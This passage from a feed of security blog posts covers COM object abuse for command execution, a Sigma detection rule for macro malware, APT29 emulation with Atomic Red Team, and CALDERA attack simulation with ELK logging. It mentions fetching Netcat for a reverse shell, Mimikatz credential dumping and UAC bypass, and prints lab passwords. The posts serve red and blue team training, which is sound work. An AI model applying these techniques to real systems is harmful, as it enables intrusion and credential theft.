src="https://cdn-images-1.medium.com/max/1024/1*0mN6pePbpDrmRtIMf1h1iw.png" /></figure><p>Here I am requesting InternetExplorer.Application in PowerShell. I am then navigating using the COM Object to my blog to demonstrate how to COM Objects can be used. What actually happens is the operating system finds which DLL corresponds to InternetExplorer.Application COM object then loads it to memory and execute the function I’ve set out. The operating system then returns the object to us in PowerShell.</p><h3>Scripting COM Objects: Access to The Shell:</h3><p><strong>An example of opening PowerShell</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*heu3R0C3Kiphg6-3lWF6Xg.png" /></figure><p>Though this is a simple script, we can execute any commands in cmd prompt (Shell) using an ActiveX Object (a slightly modern version of COM objects) called WScript.Shell. This object allows us to execute any command we want.</p><p>With this, you can execute PowerShell.exe or whatever you want to execute. You can even download Netcat using curl and execute it to provide you with a reverse shell, though that isn’t the best idea because it’s easily detected. An attacker can even execute a Cobalt Strike Beacon.</p><p>In VBScript, it’s even easier. You can just run the command “Shell” with the application you want to run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s67H8P71elB3bTr3IW-NpQ.png" /></figure><h3>.NET Reflective DLL Loader</h3><p>In .NET, there’s a feature called Serialization. This feature allows the application to send and receive objects in binary, JSON, or XML format.</p><p>These objects are similar to DLLs written in C#, or any .NET language, to be dynamically loaded in memory and their code to be executed.</p><p>These objects can be encoded in Base64 format, decoded in memory dynamically, deserialized (loaded) and their main code gets executed. All of that is done using a Microsoft ActiveX Object called <strong>“System.Runtime.Serialization.Formatters.Binary.BinaryFormatters”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gr4P7Hpk5e8TeyXz.png" /><figcaption>Reference: <a href="https://gist.github.com/bohops/545f92b49c4341ee2f7bf1c366fba327">https://gist.github.com/bohops/545f92b49c4341ee2f7bf1c366fba327</a></figcaption></figure><p>To build your own JavaScript .NET DLL loader, you can use DotNetToJScript from here: <a href="https://github.com/tyranid/DotNetToJScript">https://github.com/tyranid/DotNetToJScript</a> and it will help you as well generate the equivalent VBScript if you need.</p><h3>Conclusion</h3><p>If you are a Red Teamer, learning how to incorporate COM objects abuse in your adversary emulation plans, is a great plus because you’ll bypass a lot of defenses and detections. If you are an Incident Responder, protecting your organization against such type of attacks should be one of your top priorities and would definitely elevate your organisation’s security posture.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af62c7915208" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malicious Documents Using Sysmon Logs in Splunk Part 3: Writing a Sigma Rule]]></title>
            <link>https://medium.com/@DillonSingh/writing-a-sigma-rule-7fd300daba84?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fd300daba84</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Tue, 06 Sep 2022 17:55:58 GMT</pubDate>
            <atom:updated>2023-04-30T11:38:53.533Z</atom:updated>
            <content:encoded><![CDATA[<p>Sigma is a generic and open signature format that allows you to describe relevant log events in a straightforward manner. The rule format is very flexible, easy to write and applicable to any type of log file. The main purpose of this project is to provide a structured form in which researchers or analysts can describe their once developed detection methods and make them shareable with others. Reference: <a href="https://github.com/SigmaHQ/sigma">SigmaHQ/sigma: Generic Signature Format for SIEM Systems (github.com)</a></p><h3>Why Sigma Rules</h3><p>Today, everyone collects log data for analysis. People start working on their own, processing numerous white papers, blog posts and log analysis guidelines, extracting the necessary information and build their own searches and dashboard. Some of their searches and correlations are great and very useful but they lack a standardized format in which they can share their work with others.</p><p>Others provide excellent analyses, include IOCs and YARA rules to detect the malicious files and network connections, but have no way to describe a specific or generic detection method in log events. Sigma is meant to be an open standard in which such detection mechanisms can be defined, shared and collected in order to improve the detection capabilities for everyone.</p><h4>Sigma Rule Creation</h4><ol><li><strong>Get the Repository: </strong>First download or clone our <a href="https://github.com/Neo23x0/sigma">Sigma repository</a> from GitHub. It contains the rule base in the folder “./rules” and the Sigma rule compiler “./tools/sigmac”. We will use the existing rules as examples and create a new rule based on a similar existing one. We will then test that rule by using “sigmac”.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhHHw_YB4UcH-dln_y1-3g.png" /></figure><p><strong>2. Copy and Edit YAML Files in Visual Studio Code: </strong>Download Visual Studio Code: <a href="https://code.visualstudio.com/Download">Download Visual Studio Code — Mac, Linux, Windows</a></p><p>3. <strong>Go to:</strong> <a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml">sigma/posh_ps_adrecon_execution.yml at master · SigmaHQ/sigma (github.com)</a></p><p><strong>THEN: </strong><a href="https://raw.githubusercontent.com/SigmaHQ/sigma/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml">https://raw.githubusercontent.com/SigmaHQ/sigma/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml</a>. Once you’ve gotten to the page that’s in the center of the 3 below images, <strong>right click and save as</strong> then <strong>upload to Visual Studio Code</strong> (VSCode). You’ll then see the rule uploaded in .yaml format in VSCode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QJm97r8t3e0-kP7BYLUZWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9mYR0qyJmSdF_fSYADIWGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A9J6_gFc7tKHg1aAHEPtCQ.png" /><figcaption>Uploading .yaml Sigma Rule to VSCode</figcaption></figure><p>4. Use other Sigma rules as a framework to complete your own Sigma rule. <strong>Resources:</strong> <a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows">https://github.com/SigmaHQ/sigma/tree/master/rules/windows</a></p><h3>My Sigma Rule for 5295-win86-sysmon.evtx Malicious Activity</h3><pre>title: Sigma Rule for 5295-win86-sysmon.evtx file malicious activity<br>id:  <br>description: Detecting Macro Malware which activates from WINWORD.EXE<br>status: experimental<br>author: Dillon Singh<br>references: &lt;https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES&gt;<br>date: 03/09/2022<br>tags: <br> - attack.initial.access.spearphishing.attachment<br> - attack.T1566.001<br>logsource: <br>      catagory: windows <br>      service: sysmon <br>detection: <br>         selction_parent: <br>         image: System<br>         ParentImage|contains: &#39;\\WINWORD.EXE&#39;<br>         <br>         selection_parent_child1: <br>         image|startswith: &#39;C:\\Windows\\System32\\rundll32.exe&#39;<br>         <br>         selection_parent_child2: <br>         ChildImage|contains: &#39;ier.dll&#39;<br>condition: selction_parent or selection_parent_child1 or selection_parent_child2<br>falsepositives:<br>    - Unknown<br>level: critical</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fd300daba84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Atomic Red Team Adversary Simulation In PowerShell: APT29]]></title>
            <link>https://medium.com/@DillonSingh/hands-on-apt29-adversary-emulation-in-powershell-91746b1d6daa?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/91746b1d6daa</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Fri, 02 Sep 2022 11:48:18 GMT</pubDate>
            <atom:updated>2023-09-21T11:44:48.701Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this post, I will conduct my second exercise of Adversary Emulation using the <a href="https://atomicredteam.io/"><strong>Red Canary Atomic Red Team Framework</strong></a> in PowerShell. I will simulate these attacks in my Purple Team Cloud Lab and investigate for the logs on Kibana. My target domain controller is linked to the ELK Stack using Winlogbeat so all logs will appear on my blue team network. If the Atomic Red Team attack logs don’t appear, it’ll be an opportunity to write Sigma rules in a subsequent post to demonstrate how to mature a SIEM’s detections.</p><p>I have written a small overview of who APT29 are in <strong>Purple Teaming Like a Pro Part 2: Hands-On Adversary Emulation Using CALDERA &amp; Detection In ELK</strong>. I’ll include the section where I have discussed who this APT Threat Actor is below:</p><h3><strong>A Real APT Threat Group: Cozy Bear/APT29</strong></h3><p>Cozy Bear or APT29 is an APT threat group that has been attributed to the Russian government, and has operated since at least 2008. This group has been attributed to major breaches targeting U.S. governments such as the Democratic National Committee, as well as various international ministries and agencies. APT29 has also been known to “cast a wide net” in terms of targeting, seemingly making this group a universal threat.</p><p>APT29 is distinguished by their commitment to stealth and sophisticated implementations of techniques via an arsenal of custom malware. APT29 typically accomplishes goals via custom compiled binaries and alternate (at the moment) execution methods such as PowerShell and WMI. Their TTPs vary significantly depending on the target and method of exploitation utilized to gain access . From low and slow targeted techniques to full-on smash-and-grab. They regularly leverage their arsenal of custom malware, and Living off the Land Binaries and Scripts (LOLBAS) with a focus on PowerShell.</p><h3>What is Atomic Red Team?</h3><p>Atomic Red Team™ is a library of tests mapped to the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK®</a> framework. Security teams can use Atomic Red Team to quickly, portably, and reproducibly test their defenses and blue team. <strong>Reference:</strong> <a href="https://github.com/redcanaryco/atomic-red-team">redcanaryco/atomic-red-team: Small and highly portable detection tests based on MITRE’s ATT&amp;CK. (github.com)</a></p><p>For those that want the standard edition of the Atomic Red Team Library, you can click here to download the library on GitHub:<strong> </strong><a href="https://github.com/redcanaryco/atomic-red-team">redcanaryco/atomic-red-team: Small and highly portable detection tests based on MITRE’s ATT&amp;CK. (github.com)</a></p><p>To import all of the Atomic Red Team Library via PowerShell, please use the following command: <strong>Import-Module C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1 -Force</strong></p><h4>Example</h4><p><strong>Invoke-AtomicTest T1485 -TestNumbers 1</strong></p><p>To execute this test, you should run<strong> -Get-Prereqs</strong> as the above Atomic Test needs Mimikatz and PsExec installed on the system to run.</p><p><strong>Other commands You Can Use With Invoke-AtomicTest T1485:</strong></p><ol><li>-ShowDetailsBrief: Show all the tests under specific TTP</li><li>-ShowDetails: Show all the tests under specific TTP with all related details</li><li>-CheckPrereqs/Get-Prereqs: Check/download any needed prerequisites (tools to use)</li><li>-PromptForInputArgs: customize options in the execution</li><li>-Cleanup: Remove any created artifacts after execution</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EjsVPfEDcc31uKvq75Y5yA.png" /><figcaption>Command Showing Atomic Red Team Tests | Over 500 Atomic Tests Available</figcaption></figure><h3>VMWare APT29 PowerShell Script</h3><p>Since APT29 primarily relies on PowerShell, VMWare have compiled a collection of APT29’s most widely-utilized techniques into a single PowerShell script, so that others (like myself) can quickly and easily simulate their malicious TTPs in a controlled environment.</p><p>This script is primarily comprised of techniques included within the <a href="https://atomicredteam.io/"><strong>Red Canary Atomic Red Team framework</strong></a><strong>. </strong>It has<strong> </strong>been customized by VMWare’s VMware Carbon Black Threat Analysis Unit (TAU) to closely-resemble APT29.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IUFuS8M7SeYZk4Cpx8i-Q.png" /><figcaption>TTP Techniques Included in Script</figcaption></figure><h4><strong>APT29 </strong>Atomic Red Team Script</h4><p><strong>Script: </strong><a href="https://github.com/carbonblack/tau-tools/blob/master/threat_emulation/Invoke-APT29/apt29.ps1">tau-tools/apt29.ps1 at master · carbonblack/tau-tools (github.com)</a> <strong>Made by:</strong> VMware Carbon Black Threat Analysis Unit (TAU)</p><h4>To Download</h4><ol><li>Open PowerShell (Doesn’t need to be as admin)</li><li>Run: <strong>Invoke-WebRequest -Uri https://github.com/carbonblack/tau-tools/blob/master/threat_emulation/Invoke-APT29/apt29.ps1 -OutFile .\apt29.ps1;</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*6J8N14__o2H1NOc9fr8w3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKulbSSIgnpNQPAEDa3MSw.png" /><figcaption>Downloading apt29.ps1 using PowerShell</figcaption></figure><ol><li>Import the script as a module in PowerShell and then call the <strong>Invoke-APT29</strong> function with the<strong> -help</strong> flag. This is to display usage instructions and basic information of the script.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7rJbDCJK0JwV3CPyRg1GA.png" /><figcaption>Displaying Invoke-APT29’s available options</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JX8p_6bodNF32yXxT_Oww.png" /><figcaption>Displaying information on APT29 from the MITRE ATT&amp;CK Website</figcaption></figure><p>From this point on, we can begin launching simulated attacks. The modules are organized by MITRE TID and can be listed out via the -listTechniques flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rT0l10LoPHrjZOId_xzAA.png" /><figcaption>Displaying the available MITRE ATT&amp;CK techniques</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96Y-sg-o1diiEeVeQM5KAw.png" /><figcaption>Example using search to find and launch a UAC bypass technique</figcaption></figure><p>You are able to also search for terms/tools/etc. using the -search flag. Once you’ve found the attack you’d like to simulate, pass the TID as a flag to see information about the execution steps and technique. Adding -listVariants to the function will highlight the different ways to simulate the attack activity. Once a desired attack is selected, pass the -attack and -variant flags to execute the simulated attack.</p><p>Most attack simulation can be executed as admin; some are simulations are designed to escalate privileges like the bypass UAC simulation (T1088). With some attacks, you will require administrative permissions to be executed. These techniques may also be blocked by your endpoint security solution, as the techniques leveraged are well-known within the industry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*SHzs_y96qH6uJd_p8dm42g.png" /><figcaption>Invoke-Mimikatz sekurlsa dump attack simulation</figcaption></figure><p>Some attacks will modify the system. Changes to the registry, creating or destroying schedule tasks etc. As such, where applicable, attacks come with a -cleanup option, allowing you to remove any persistent data related to the simulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-qNJ3_VrcjqB1Cd07uK3A.png" /><figcaption>Sticky Keys persistence attack and cleanup example</figcaption></figure><p>It’s possible to execute attacks across remote hosts. To utilise this function, enable PowerShell remoting by passing the -enablePSRemoting flag. There is also a -disablePSRemoting to turn off this functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2stXpsldrW0Ei7uuJTgfw.png" /><figcaption>PSRemoting automated (insecure) configuration</figcaption></figure><p>With PowerShell Remoting enabled, you can execute PS commands on the target host remotely. By default the ‘remote’ attacks will target the localhost, so to ensure accuracy of any simulation, it’s advised to change the script with you own domain information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*0GmY1GswbQvIK5L5La7ezA.png" /><figcaption>Running Invoke-Mimikatz on a remote system via PS Remoting</figcaption></figure><p>Leveraging Invoke-APT29, you can simulate a real well-known and adversary, and become more aware of the security efficacy of your endpoint protection.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91746b1d6daa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Adversary Simulation & Detection Using CALDERA & The ELK Stack]]></title>
            <link>https://medium.com/@DillonSingh/purple-teaming-like-a-pro-part-2-hands-on-adversary-emulation-using-caldera-detection-in-elk-c31fc3b61af9?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c31fc3b61af9</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Thu, 01 Sep 2022 14:13:25 GMT</pubDate>
            <atom:updated>2023-09-21T16:57:55.098Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This post will focus on practical Red Team adversary simulation and detection using CALDERA and the ELK Stack.</p><h4>By the end of this post, you will:</h4><ol><li>Understand what Red Teaming and the MITRE ATT&amp;CK Matrix is</li><li>Learn how to conduct Adversary Emulation using CALDERA</li><li>Learn how to conduct Analysis using the ELK Stack</li><li>Learn how to activate the Purple Team Cloud Lab from the Command Prompt</li><li>Read about a real APT threat group, APT29</li></ol><h3>MalTrak Purple Team Cloud Lab</h3><p><a href="https://github.com/MalTrakLab/purple-team-cloud-lab">https://github.com/MalTrakLab/purple-team-cloud-lab</a></p><h3>Machines</h3><ol><li>Red Team Network CALDERA: This machine is Amazon Linux 2, Redhat based, with size t2.micro. No cost attached with AWS Free tier</li><li>Blue Team Network HELK: This machine is also an Amazon Linux 2 with a size of t2.large (8 GB, 2 vcpu) and 80 GB of disk space</li><li>ADLab Systems: Both the Domain Controller and Workstation are Windows Servers 2019 Edition, with size t2.micro. Also no cost with AWS Free tier</li></ol><h3>CALDERA C2 &amp; Atomic Red Team Library</h3><ol><li>CALDERA GitHub Repository: <a href="https://github.com/mitre/caldera">https://github.com/mitre/caldera</a></li><li>How to install CALDERA: <a href="https://www.youtube.com/watch?v=GukTj-i3UDg">CALDERA 2.4.0 Tutorial — YouTube</a></li></ol><p>AND</p><ol><li>Atomic Red Team GitHub Repository <a href="https://github.com/redcanaryco/atomic-red-team">https://github.com/redcanaryco/atomic-red-team</a></li><li>How to install Atomic Red Team: <a href="https://www.youtube.com/watch?v=SPqkMP7wwo0">Atomic Red Team: Install and Execution in 7min 🤓 #RedCanary — YouTube</a></li></ol><h3>What’s Red Teaming?</h3><p>A Red Team operation is a carefully planned simulated attack, designed to test the security of a company’s network, applications, employees, and physical security. Red Team operations emulate the techniques used by real APT (Advanced Persistent Threat) groups over an attack lifecycle, and provide actionable results to a company. An advanced persistent threat (APT) is a term to describe an attack where the adversary/adversaries establishes a covert long-term presence on a target network or system, with the goal of exfiltrating, ransoming, or destroying sensitive data. These operations can reveal multiple attack vectors and vulnerabilities.</p><p>Red Teamers leverage Cyber Threat Intelligence to emulate a malicious actor that has the opportunity, intent, and capability to attack the target organisation. These operations are in contrast to penetration testing which focuses on testing technology and preventive controls. These adversary emulations are performed using a structured approach following industry methodologies and frameworks such as MITRE ATT&amp;CK, and they may be performed in a blind manner, which is classified as a Red Team engagement, or a non-blind manner, which is a Purple Team engagement. Where the Blue Team collaborate with the Red Team to mature the company’s security posture.</p><p>Blue teams collect the results from red team engagements to create detection rules for specific malwares, TTPs, or payloads that bypassed their detection mechanisms to consolidate the company’s security. It’s common for all employees within a company to complete a monthly training for spotting phishing attacks since data shows that social engineered spear-phishing attacks are the most successful attack vector.</p><p>A Blue team is a group of security professionals responsible for identifying and detecting vulnerabilities and attacks. They are responsible for remediating these issues and verifying the effectiveness of their remediations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/0*wLtSG0X0SNFidBmo.png" /><figcaption>Reference: <a href="https://www.dominioncyber.net/post/an-introduction-to-red-team">An Introduction to Red Team (dominioncyber.net)</a></figcaption></figure><h3>A Real APT Threat Group: Cozy Bear/APT29</h3><p>Cozy Bear or APT29 is an APT threat group that has been attributed to the Russian government, and has operated since at least 2008. This group has been attributed to major breaches targeting U.S. governments such as the Democratic National Committee, as well as various international ministries and agencies. APT29 has also been known to “cast a wide net” in terms of targeting, seemingly making this group a universal threat.</p><p>APT29 is distinguished by their commitment to stealth and sophisticated implementations of techniques via an arsenal of custom malware. APT29 typically accomplishes goals via custom compiled binaries and alternate (at least at the time) execution methods such as PowerShell and WMI. APT29 has also been known to employ various operational cadences (smash-and-grab vs. slow-and-deliberate) depending on the perceived intelligence value and/or infection method of victims.</p><p>Their TTPs vary significantly depending on the target and method of exploitation utilized to gain access . From low and slow targeted techniques to full-on smash-and-grab. They regularly leverage their arsenal of custom malware, and Living off the Land Binaries and Scripts with a focus on PowerShell.</p><p>I’ve emulated attacks that closely-resemble APT29 in another post of adversary simulation. Please check out: <a href="https://medium.com/@DillonSingh/hands-on-apt29-adversary-emulation-in-powershell-91746b1d6daa">APT29 Adversary Simulation In PowerShell | by Dillon Singh | Sep, 2022 | Medium</a></p><h3>MITRE ATT&amp;CK Matrix</h3><p>MITRE ATT&amp;CK® is a globally accessible knowledge base of adversary tactics, techniques, and behaviors based on real-world observations. For Red Teamers, the MITRE ATT&amp;CK framework serves as a structured kill chain we can utilise for adversary emulation to test and strengthen an organisation’s security posture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qj1LKdE3T3297da_OOkZMg.png" /><figcaption>MITRE ATTA&amp;CK Matrix | Top Arrow: Techniques | Bottom Arrow: Sub-Techniques</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6MOTlm4mL0t2vyKw2hSeQ.png" /><figcaption>Arrow points to variations of the technique | <strong>Execution Category</strong> | In total: 8 variations of the Command and Scripting Interpreter Technique. Red Teamers are able to incorporate those techniques into their emulation plan</figcaption></figure><h3>Activating The MalTrak Purple Team Cloud Lab</h3><p>Here I will activate the MalTrak vpc (Virtual Private Cloud) from the Command Line Interface (CLI), in my Windows 10 Virtual Machine (VM), using a terraform script made by Amr Thabet. The commandlets I’ll execute are: <strong>1. terraform init, 2. terraform apply — — auto-approve</strong>. Once this is complete, my Purple Team Infrastructure will be active. It’s important to note, when you have finished with your Lab, from the CLI, you should terminate your infrastructure to avoid incurring costs from AWS Amazon. The command for this is <strong>terraform destroy — — auto-approve</strong>. Setting up your environment may take anywhere between 20–40 minutes, depending on your internet speed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TlFRZ55CAslHBSDRBc53gA.png" /><figcaption>Purple Team VC Lab Active</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zr2YVxfyCM-LGSM-pjMysg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCRGZI2L8CAAfSjk1l4Krw.png" /><figcaption>Remote Connection To The Domain Controller using RDP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUyopqQ9j_j9QcQtW5hIig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EB5Wl-G7SYFWGVyjUv_dvA.png" /><figcaption>Remote Connection To Workstation User using RDP</figcaption></figure><p>‘’Kibana is an open source visualization and exploration tool used for log and time-series analytics, application monitoring, and operational intelligence. It offers powerful and easy-to-use features such as histograms, line graphs, pie charts, heat maps, and built-in geospatial support. Also, Kibana works in sync with Elasticsearch and Logstash which together forms the <strong>ELK</strong> stack, which makes Kibana the default choice for visualizing data stored in Elasticsearch.’’ Reference: <a href="https://www.tutorialspoint.com/kibana/kibana_introduction_to_elk_stack.htm">Kibana — Introduction To Elk Stack (tutorialspoint.com)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeJ3vrNGP5oo4KGNbzWTpA.png" /><figcaption>Access Kibana by inputting ip address of Blue Team into Google search bar. Remember, Username: helk | Password: LabPass1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_p9N3BuaJexkXhaKPORfg.png" /><figcaption>Filtering for Sysmon logs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qBNYfijYirvI-qahfX4yew.png" /><figcaption>Press Arrow To Expand Event</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHs9_pL45vlhW8YORWpoPQ.png" /><figcaption>Event Expanded</figcaption></figure><p>Below I have accessed the Red Team C2 (Caldera) by executing ssh ec2-user@54.78.93.12 (ip of red team server) in cmd prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5msE1R9iej_I9OQ18SLg2g.png" /></figure><p>I am using the Red Team IP I’ve acquired from my Purple Team AD-Lab, to open my C2 Server. There, I will be able to simulate attacks from my C2 on my target Domain Controller and Workstation. The additional ‘:8888’ after the ip is the port number. Port numbers are to identify and or differentiate type of services on the hosts. I’ve executed <strong>cat /tmp/password</strong>, the credentials for my C2 are <strong>Username: red</strong> | <strong>Password: jRaA5DeGNTcmaC1JVhEznB6g5tq4EJGj1kuGQ22_n_U. </strong>Before we start with CALDERA, I want to first cover a few terms that need to be understood.</p><h3>Understanding CALDERA Terminology</h3><p>To realise the potential of CALDERA, it’s important to first familiarise yourself with essential terminology:</p><ol><li><strong>Ability:</strong> An ability is a specific MITRE ATT&amp;CK TTP implementation that can execute on active agents (we’ll cover what an agent is). Abilities will include the commands/commands to run, the platforms the commands can run on ex: Windows, PowerShell, etc., payloads to include, and a reference to a module to parse the output on the CALDERA server.</li><li><strong>Adversary:</strong> Adversary profiles are groups of abilities, representing the TTPs available to the attackers. Adversary profiles are used when running an operation to determine which abilities will be executed.</li><li><strong>Agents:</strong> An Agent is a effectively a malware backdoor installed on target hosts/clients, that connect back to CALDERA at certain intervals to get instructions. The way an agent communicates back with the CALDERA is defined before deployment. An agents needs to be installed on the target host/network for an attacker to simulate malicious operations, unless it’s a Red Team use case, which means it wouldn’t be considered malicious.</li><li><strong>Groups: </strong>Collection of agents, either based on OS or function. Agents can be placed into a group, either by installation through command-line flags or by editing the agent in the UI. These groups are used when running an operation to determine which agents to execute abilities on.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UJGAz8fsF55MRhpCrXAGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SOeQsqFmbl5-gKnuHpHc3Q.png" /><figcaption>CALDERA Site</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAKGLmwiCizaMNM32Ex_FA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OLGwmMtlYB_IAfkAzNgTSw.png" /><figcaption>Deploying S4ndc47 agent on my Windows Domain Controller</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2UWIt-mcZCDAkzJ46fsgA.png" /><figcaption>S4ndc47 agent | It’s best practice to categorise your agents according to their OS. It’s to avoid potential confusion when running agents simultaneously</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9O1coIxzPGCPq-Zx4XEd6w.png" /><figcaption>CALDERA’s Discovery Adversary Profile</figcaption></figure><p>Adversary Profiles are collections of ATT&amp;CK TTP, designed to create specific effects on a host or network. Profiles can be used for offensive or defensive use cases. One can create adversary profiles too. This is especially useful when a Red Teamer wants to replicate the emulation plan of a real APT Threat Group or wants to use another TTP on their target. If an organisation has acquired intelligence that a particular APT group is currently attacking their industry, they can request their Red Team to perform emulation of that particular APT group’s TTPs (using MITRE TTPs) on their network to see how well they defend/detect against their attacks. Such operations are used in Purple Teaming Engagements too, where both the Red and Blue team and knowingly involved and collaborate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDCn8T3p5wgDGlvg4wXEWQ.png" /><figcaption>Adding Adversary Profile Screen</figcaption></figure><p>I am creating my own Adversary Profile that executes T1059.001 on the Domain Controller. Details of the Adversary Profile follows:</p><ol><li>MITRE ATT&amp;CK Technique: <strong>‘execution’</strong></li><li>MITRE ATT&amp;CK TTP ID: <strong>T1059.001</strong></li><li>MITRE ATT&amp;CK Sub-technique: <strong>Command and Scripting Interpreter: PowerShell</strong></li><li>Name: <strong>PowerShell Invoke MimiKats</strong></li><li>Added Payload:<strong> sandcat.go-windows</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i0XBKERqvk1HFsdB5g5UNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83-JSsMGkz-sLlNBgigd3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i05IogTlf-bMS20FwvPB6Q.png" /><figcaption>Execution: PowerShell Invoke MimiKats Adversary Profile</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwHOE2UL_aipMFeAit-MyQ.png" /><figcaption>Decoded PowerShell Invoke MimiKats Command</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmHKTa_Dgb6rvIjzWAVuyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ySHraonzK3uzauxLY5c-VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yjwod0UvmBZYXTlfw2sOfA.png" /><figcaption>Executing <strong>T1059.001 </strong>on Target</figcaption></figure><p>The preceding images displays invoking MimiKatz in PowerShell on my DC. The left image displays the operation I am about to execute on my target, the middle shows the successful execution; this is represented by the golden star adjacent to the operation. The third image shows the output from the command. Therefore, in conclusion, the operation was a success. As an attacker I can use this data in the attack plan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0jctxIIFiz9NKkj4Q3isg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PaFG6de_AIoDSo-aN8H2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMXIjhLbEhdJweDtaXakwg.png" /><figcaption>Executing Discovery Adversary Profile</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qlneKSrYnClitIPqjZawhA.png" /><figcaption>Image of Processes on my DC</figcaption></figure><h4>Information obtained</h4><ol><li>IP of DCLabLocal: 192.168.10.100</li><li>Processes &amp; Owner of DC &amp; Workstation: 3rd &amp; 4th Image</li><li>Much can be seen in the middle image of the 3 above</li></ol><p>Now that the processes have been identified, one has the opportunity of writing a script that’ll inject a malware.</p><h3>Investigating Sysmon Logs In Kibana ELK Stack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u299B1BH0lhA5tpEWlRKqA.png" /><figcaption>Caldera Agent detected: splunkd.exe</figcaption></figure><figure><img alt="" 